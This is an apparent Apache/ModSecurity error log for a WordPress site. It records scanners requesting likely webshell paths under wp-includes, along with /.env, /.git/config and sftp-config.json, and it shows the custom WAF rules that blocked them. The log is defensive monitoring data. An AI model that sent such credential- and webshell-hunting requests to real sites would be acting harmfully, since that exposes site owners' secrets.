[Sat Feb 07 22:14:52.179630 2026] [proxy_fcgi:error] [pid 50672:tid 50730] [client 31.171.130.145:30017] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:52.668606 2026] [proxy_fcgi:error] [pid 50672:tid 50712] [client 31.171.130.145:30017] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:54.675103 2026] [proxy_fcgi:error] [pid 50672:tid 50714] [client 31.171.130.145:30017] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:55.160323 2026] [:error] [pid 50672:tid 50716] [client 31.171.130.145:30017] [client 31.171.130.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aYdI3w9o0jq1XS8Nv7NrFQAAAEg"]
[Sat Feb 07 22:14:56.183849 2026] [proxy_fcgi:error] [pid 43182:tid 43196] [client 31.171.130.135:42249] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:14:57.657301 2026] [:error] [pid 43182:tid 43197] [client 31.171.130.135:42249] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aYdI4fEC82JnxmrnFYn3JAAAAU0"]
[Sat Feb 07 22:14:58.632739 2026] [:error] [pid 50780:tid 50796] [client 31.171.130.151:38389] [client 31.171.130.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aYdI4utUmIu2JHM2CrvluAAAAM4"]
[Sat Feb 07 22:15:01.673729 2026] [:error] [pid 43182:tid 43204] [client 31.171.130.152:57973] [client 31.171.130.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aYdI5fEC82JnxmrnFYn3UAAAAVQ"]
[Sat Feb 07 22:15:03.675766 2026] [proxy_fcgi:error] [pid 50673:tid 50744] [client 31.171.130.150:24249] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:15:04.153503 2026] [proxy_fcgi:error] [pid 50673:tid 50757] [client 31.171.130.150:24249] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:15:04.670639 2026] [proxy_fcgi:error] [pid 50673:tid 50755] [client 31.171.130.150:24249] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:15:05.218143 2026] [proxy_fcgi:error] [pid 50673:tid 50756] [client 31.171.130.150:24249] AH01071: Got error 'Primary script unknown'
[Sat Feb 07 22:15:07.702402 2026] [:error] [pid 50673:tid 50749] [client 31.171.130.150:24249] [client 31.171.130.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aYdI62VwLsaZ7aKO2ck3DAAAAI4"]
[Sat Feb 07 22:15:08.783993 2026] [:error] [pid 50672:tid 50714] [client 31.171.130.141:37915] [client 31.171.130.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aYdI7A9o0jq1XS8Nv7NrdgAAAEY"]
[Sat Feb 07 22:15:09.829269 2026] [:error] [pid 50780:tid 50799] [client 31.171.130.107:39713] [client 31.171.130.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aYdI7etUmIu2JHM2CrvmSQAAANE"]
[Sat Feb 07 22:15:10.871020 2026] [:error] [pid 30684:tid 30695] [client 31.171.130.135:55965] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aYdI7rqwdxwowLt-_Lw3QQAAAcg"]
[Sat Feb 07 22:15:11.830339 2026] [:error] [pid 50780:tid 50802] [client 31.171.130.142:56415] [client 31.171.130.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aYdI7-tUmIu2JHM2CrvmZwAAANQ"]
[Sat Feb 07 22:15:12.818141 2026] [:error] [pid 55157:tid 55177] [client 31.171.130.140:55765] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aYdI8H36JdtTn2bTEozw0QAAAQ8"]
[Sat Feb 07 22:15:14.452050 2026] [:error] [pid 30684:tid 30698] [client 31.171.130.137:25017] [client 31.171.130.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aYdI8rqwdxwowLt-_Lw3VQAAAcs"]
[Sat Feb 07 22:15:15.633295 2026] [:error] [pid 55157:tid 55179] [client 31.171.130.112:28607] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aYdI8336JdtTn2bTEozw7QAAARE"]
[Sat Feb 07 22:15:16.627950 2026] [:error] [pid 43182:tid 43198] [client 31.171.130.120:24751] [client 31.171.130.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aYdI9PEC82JnxmrnFYn3qQAAAU4"]
[Sat Feb 07 22:15:17.687367 2026] [:error] [pid 30684:tid 30690] [client 31.171.130.151:52373] [client 31.171.130.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aYdI9bqwdxwowLt-_Lw3dQAAAcM"]
[Sat Feb 07 22:15:19.602019 2026] [:error] [pid 50780:tid 50802] [client 31.171.130.152:26553] [client 31.171.130.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aYdI9-tUmIu2JHM2Crvm0QAAANQ"]
[Sun Feb 08 00:12:16.365084 2026] [:error] [pid 30684:tid 30711] [client 103.77.107.178:59136] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aYdkYLqwdxwowLt-_LxhkgAAAdg"]
[Sun Feb 08 02:18:39.547035 2026] [:error] [pid 62342:tid 62431] [client 143.198.90.232:54442] [client 143.198.90.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.90.232, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYeB_-wzANoqjscwU_7Q4QAAAII"]
[Sun Feb 08 02:18:39.556386 2026] [proxy_fcgi:error] [pid 62342:tid 62431] [client 143.198.90.232:54442] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 02:18:43.303438 2026] [:error] [pid 62342:tid 62446] [client 143.198.90.232:54442] [client 143.198.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYeCA-wzANoqjscwU_7Q7AAAAJE"]
[Sun Feb 08 02:18:43.644333 2026] [:error] [pid 17001:tid 17036] [client 143.198.90.232:56517] [client 143.198.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYeCA90X31QDRSlPKmSAfwAAAZQ"]
[Sun Feb 08 02:18:43.985894 2026] [:error] [pid 17001:tid 17030] [client 143.198.90.232:56667] [client 143.198.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYeCA90X31QDRSlPKmSAgwAAAY4"]
[Sun Feb 08 03:27:39.820507 2026] [:error] [pid 17001:tid 17028] [client 34.146.185.48:57304] [client 34.146.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aYeSK90X31QDRSlPKmSZfgAAAYw"]
[Sun Feb 08 05:27:54.142136 2026] [:error] [pid 24530:tid 24548] [client 151.241.154.208:57460] [client 151.241.154.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aYeuWkazNRCs1GRWrh74QQAAANA"]
[Sun Feb 08 07:04:27.730131 2026] [proxy_fcgi:error] [pid 24422:tid 24480] [client 20.203.129.2:56534] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 07:04:29.259847 2026] [proxy_fcgi:error] [pid 24422:tid 24461] [client 20.203.129.2:56534] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 07:04:29.501320 2026] [proxy_fcgi:error] [pid 24422:tid 24475] [client 20.203.129.2:56534] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 07:13:54.707911 2026] [:error] [pid 56906:tid 56918] [client 187.101.62.172:53758] [client 187.101.62.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.101.62.172, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYfHMvxl3WX27-WXfDjJeAAAAQo"]
[Sun Feb 08 07:13:54.719726 2026] [proxy_fcgi:error] [pid 56906:tid 56918] [client 187.101.62.172:53758] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 07:39:40.186007 2026] [proxy_fcgi:error] [pid 24421:tid 24441] [client 36.81.232.172:29007] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 07:39:40.664811 2026] [proxy_fcgi:error] [pid 24421:tid 24449] [client 36.81.232.172:29183] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 07:39:41.552293 2026] [:error] [pid 24421:tid 24447] [client 36.81.232.172:29540] [client 36.81.232.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env/.env.bak"] [unique_id "aYfNPap7cTzhX5M1IP9TIAAAABA"]
[Sun Feb 08 07:39:42.521987 2026] [proxy_fcgi:error] [pid 24421:tid 24435] [client 36.81.232.172:29858] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 10:20:59.197319 2026] [:error] [pid 24423:tid 24498] [client 31.220.78.238:59961] [client 31.220.78.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.220.78.238, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYfzC03f9n1Y0TpV5YblAgAAAI0"]
[Sun Feb 08 10:20:59.209601 2026] [proxy_fcgi:error] [pid 24423:tid 24498] [client 31.220.78.238:59961] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 10:21:02.961825 2026] [:error] [pid 24423:tid 24502] [client 31.220.78.238:59961] [client 31.220.78.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aYfzDk3f9n1Y0TpV5YblDQAAAJE"]
[Sun Feb 08 10:21:03.574424 2026] [:error] [pid 56906:tid 56926] [client 31.220.78.238:60280] [client 31.220.78.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aYfzD_xl3WX27-WXfDg2QAAAARI"]
[Sun Feb 08 10:21:04.269509 2026] [:error] [pid 24422:tid 24463] [client 31.220.78.238:51147] [client 31.220.78.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aYfzECNNjcLoSCLKhTf0vwAAAEU"]
[Sun Feb 08 10:21:04.868236 2026] [:error] [pid 24422:tid 24476] [client 31.220.78.238:57986] [client 31.220.78.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYfzECNNjcLoSCLKhTf0wQAAAFI"]
[Sun Feb 08 10:21:05.502456 2026] [:error] [pid 56906:tid 56932] [client 31.220.78.238:63559] [client 31.220.78.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYfzEfxl3WX27-WXfDg2QgAAARg"]
[Sun Feb 08 10:21:06.101851 2026] [:error] [pid 24530:tid 24538] [client 31.220.78.238:53328] [client 31.220.78.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYfzEkazNRCs1GRWrh5bMwAAAMY"]
[Sun Feb 08 10:45:37.446078 2026] [:error] [pid 24422:tid 24460] [client 64.225.8.2:52814] [client 64.225.8.2] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aYf40SNNjcLoSCLKhTf9OAAAAEI"]
[Sun Feb 08 15:41:46.622506 2026] [:error] [pid 24423:tid 24485] [client 217.77.10.74:57341] [client 217.77.10.74] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aYg-Ok3f9n1Y0TpV5YY2GAAAAIA"]
[Sun Feb 08 17:54:18.781208 2026] [:error] [pid 24422:tid 24478] [client 143.110.255.76:33058] [client 143.110.255.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aYhdSiNNjcLoSCLKhTdgoQAAAFQ"]
[Sun Feb 08 18:18:19.221626 2026] [:error] [pid 54609:tid 54627] [client 143.110.255.76:56104] [client 143.110.255.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aYhi66RRnRH9N52BW9KRDgAAAZA"]
[Sun Feb 08 20:36:52.442776 2026] [proxy_fcgi:error] [pid 24421:tid 24445] [client 20.48.253.154:38702] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 20:36:52.659906 2026] [proxy_fcgi:error] [pid 24421:tid 24442] [client 20.48.253.154:38702] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 20:36:52.868992 2026] [proxy_fcgi:error] [pid 24421:tid 24446] [client 20.48.253.154:38702] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 20:43:31.619034 2026] [proxy_fcgi:error] [pid 24422:tid 24466] [client 20.62.114.0:41496] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 20:43:31.821967 2026] [proxy_fcgi:error] [pid 24422:tid 24473] [client 20.62.114.0:41496] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 20:43:32.025122 2026] [proxy_fcgi:error] [pid 24422:tid 24482] [client 20.62.114.0:41496] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 21:09:44.562957 2026] [proxy_fcgi:error] [pid 58631:tid 58649] [client 20.48.253.154:59296] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 21:09:44.772687 2026] [proxy_fcgi:error] [pid 58631:tid 58656] [client 20.48.253.154:59296] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 21:09:44.981290 2026] [proxy_fcgi:error] [pid 58631:tid 58639] [client 20.48.253.154:59296] AH01071: Got error 'Primary script unknown'
[Mon Feb 09 07:56:47.095345 2026] [:error] [pid 60676:tid 60696] [client 170.64.199.137:37714] [client 170.64.199.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aYkiv3hKcn7mJYMx5_AalAAAAow"]
[Mon Feb 09 19:57:32.071691 2026] [:error] [pid 47938:tid 47985] [client 87.167.203.224:60792] [client 87.167.203.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.167.203.224, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYnLrLVCzWE6fQJEkNIq2AAAAEY"]
[Mon Feb 09 19:57:32.083924 2026] [proxy_fcgi:error] [pid 47938:tid 47985] [client 87.167.203.224:60792] AH01071: Got error 'Primary script unknown'
[Mon Feb 09 20:02:53.333937 2026] [:error] [pid 60619:tid 60653] [client 104.28.160.81:17841] [client 104.28.160.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aYnM7XEpg0UoeR8kJ-1AVgAAAkk"]
[Tue Feb 10 02:27:36.540382 2026] [:error] [pid 14069:tid 14086] [client 167.86.83.231:51146] [client 167.86.83.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aYonGIzIGuLoki0yhfHrcAAAAM8"], referer: binance.com
[Tue Feb 10 03:51:54.587407 2026] [:error] [pid 47831:tid 47883] [client 172.185.44.152:63896] [client 172.185.44.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.185.44.152, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYo62idxbZYarWVkiAAOjwAAAEo"]
[Tue Feb 10 03:51:54.597028 2026] [proxy_fcgi:error] [pid 47831:tid 47883] [client 172.185.44.152:63896] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 03:51:56.300781 2026] [:error] [pid 47831:tid 47883] [client 172.185.44.152:63896] [client 172.185.44.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aYo63CdxbZYarWVkiAAOoAAAAEo"]
[Tue Feb 10 03:51:56.609192 2026] [:error] [pid 47831:tid 47875] [client 172.185.44.152:65351] [client 172.185.44.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aYo63CdxbZYarWVkiAAOowAAAEI"]
[Tue Feb 10 03:51:56.913652 2026] [:error] [pid 47937:tid 47953] [client 172.185.44.152:49211] [client 172.185.44.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aYo63MpqXpC2CvJ3fONWkQAAAM4"]
[Tue Feb 10 03:51:57.221770 2026] [:error] [pid 47937:tid 47942] [client 172.185.44.152:49392] [client 172.185.44.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYo63cpqXpC2CvJ3fONWlAAAAMM"]
[Tue Feb 10 03:51:57.523315 2026] [:error] [pid 47830:tid 47868] [client 172.185.44.152:49670] [client 172.185.44.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYo63Uco45BZs8e301AGmAAAABY"]
[Tue Feb 10 03:51:57.824315 2026] [:error] [pid 47937:tid 47941] [client 172.185.44.152:49938] [client 172.185.44.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYo63cpqXpC2CvJ3fONWlwAAAMI"]
